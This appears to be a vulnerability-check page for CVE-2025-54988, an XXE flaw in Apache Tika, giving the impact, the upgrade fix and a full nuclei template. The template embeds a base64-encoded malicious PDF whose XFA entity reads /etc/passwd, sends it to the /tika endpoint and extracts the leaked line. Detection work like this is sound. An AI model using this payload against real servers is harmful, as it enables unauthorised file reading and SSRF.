Apache Tika - XXE Injection

criticalseverity

9.8CVSS score

36.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Apache Tika versions 1.13 through 3.2.1 are vulnerable to XXE via malicious XFA in PDFs, allowing file read and SSRF attacks.

Impact

An attacker can read sensitive server files or perform SSRF attacks against internal infrastructure.

Fix

Upgrade to Apache Tika 3.2.2 or later.

How to confirm it

Send: GET {{BaseURL}}/ ; GET {{BaseURL}}/version
Positive when: contains "Apache Tika" AND compare_versions(version, '>= 1.13', '< 3.2.2')
Send: PUT {{BaseURL}}/tika
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2025-54988 -u <target>

The full check

id: CVE-2025-54988

info:
  name: Apache Tika - XXE Injection
  author: tx1ee,s4e-io
  severity: critical
  description: |
    Apache Tika versions 1.13 through 3.2.1 are vulnerable to XXE via malicious XFA in PDFs, allowing file read and SSRF attacks.
  impact: |
    An attacker can read sensitive server files or perform SSRF attacks against internal infrastructure.
  remediation: |
    Upgrade to Apache Tika 3.2.2 or later.
  reference:
    - https://lists.apache.org/thread/8xn3rqy6kz5b3l1t83kcofkw0w4mmj1w
    - https://lists.debian.org/debian-lts-announce/2025/10/msg00030.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54988
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    epss-score: 0.36343
    epss-percentile: 0.98497
    cwe-id: CWE-611
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: tika
    shodan-query: title:"Apache Tika"
    fofa-query: title="Apache Tika"
  tags: cve,cve2025,apache,tika,xxe,ssrf,lfr,vuln,vkev

variables:
  xxe_payload: "JVBERi0xLjcKJeLjz9MKMSAwIG9iago8PCAvVHlwZSAvQ2F0YWxvZyAvUGFnZXMgMiAwIFIgL0Fjcm9Gb3JtIDUgMCBSID4+CmVuZG9iagoyIDAgb2JqCjw8IC9UeXBlIC9QYWdlcyAvS2lkcyBbMyAwIFJdIC9Db3VudCAxID4+CmVuZG9iagozIDAgb2JqCjw8IC9UeXBlIC9QYWdlIC9QYXJlbnQgMiAwIFIgL01lZGlhQm94IFswIDAgNjEyIDc5Ml0gL0NvbnRlbnRzIDQgMCBSID4+CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggMCA+PgpzdHJlYW0KZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8IC9GaWVsZHMgW10gL1hGQSA2IDAgUiAvTmVlZEFwcGVhcmFuY2VzIHRydWUgPj4KZW5kb2JqCjYgMCBvYmoKPDwgL0xlbmd0aCA3NTggPj4Kc3RyZWFtCjw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+CjwhRE9DVFlQRSB4ZHA6eGRwIFsKICA8IUVOVElUWSB4eGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPgpdPgo8eGRwOnhkcCB4bWxuczp4ZHA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGRwLyIgeG1sOmxhbmc9ImVuIj4KPGNvbmZpZyB4bWxucz0iaHR0cDovL3d3dy54ZmEub3JnL3NjaGVtYS94Y2kvMy4xLyI+CiAgPHByZXNlbnQ+PHBkZj48dmVyc2lvbj4xLjc8L3ZlcnNpb24+PC9wZGY+PC9wcmVzZW50Pgo8L2NvbmZpZz4KPHRlbXBsYXRlIHhtbG5zPSJodHRwOi8vd3d3LnhmYS5vcmcvc2NoZW1hL3hmYS10ZW1wbGF0ZS8zLjMvIj4KICA8c3ViZm9ybSBuYW1lPSJmb3JtMSIgbGF5b3V0PSJ0YiI+CiAgICA8cGFnZVNldD48cGFnZUFyZWE+PGNvbnRlbnRBcmVhLz48bWVkaXVtIHN0b2NrPSJsZXR0ZXIiLz48L3BhZ2VBcmVhPjwvcGFnZVNldD4KICAgIDxzdWJmb3JtPgogICAgICA8ZmllbGQgbmFtZT0iZGF0YSI+PHVpPjx0ZXh0RWRpdC8+PC91aT48dmFsdWU+PHRleHQ+Jnh4ZTs8L3RleHQ+PC92YWx1ZT48L2ZpZWxkPgogICAgPC9zdWJmb3JtPgogIDwvc3ViZm9ybT4KPC90ZW1wbGF0ZT4KPHhmYTpkYXRhc2V0cyB4bWxuczp4ZmE9Imh0dHA6Ly93d3cueGZhLm9yZy9zY2hlbWEveGZhLWRhdGEvMS4wLyI+CiAgPHhmYTpkYXRhPjxmb3JtMT48ZGF0YT4meHhlOzwvZGF0YT48L2Zvcm0xPjwveGZhOmRhdGE+CjwveGZhOmRhdGFzZXRzPgo8L3hkcDp4ZHA+CmVuZHN0cmVhbQplbmRvYmoKeHJlZgowIDcKMDAwMDAwMDAwMCA2NTUzNSBmIAowMDAwMDAwMDE2IDAwMDAwIG4gCjAwMDAwMDAwODIgMDAwMDAgbiAKMDAwMDAwMDE1MiAwMDAwMCBuIAowMDAwMDAwMjYyIDAwMDAwIG4gCjAwMDAwMDAzMjMgMDAwMDAgbiAKMDAwMDAwMDM5OSAwMDAwMCBuIAp0cmFpbGVyCjw8IC9TaXplIDcgL1Jvb3QgMSAwIFIgPj4Kc3RhcnR4cmVmCjEyOTUKJSVFT0YK"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/version"

    stop-at-first-match: true
    redirects: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Apache Tika'
        internal: true

      - type: dsl
        dsl:
          - "compare_versions(version, '>= 1.13', '< 3.2.2')"
        internal: true

    extractors:
      - type: regex
        name: version
        internal: true
        part: body
        group: 1
        regex:
          - "Apache Tika ([0-9]+\\.[0-9]+\\.[0-9]+)"

  - method: PUT
    path:
      - "{{BaseURL}}/tika"

    headers:
      Accept: text/plain
      Content-Type: application/pdf

    body: "{{base64_decode(xxe_payload)}}"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - "(root:.?:0:0:[^\\n]+)"

References

Use this check only on systems you are authorised to test. Where the data comes from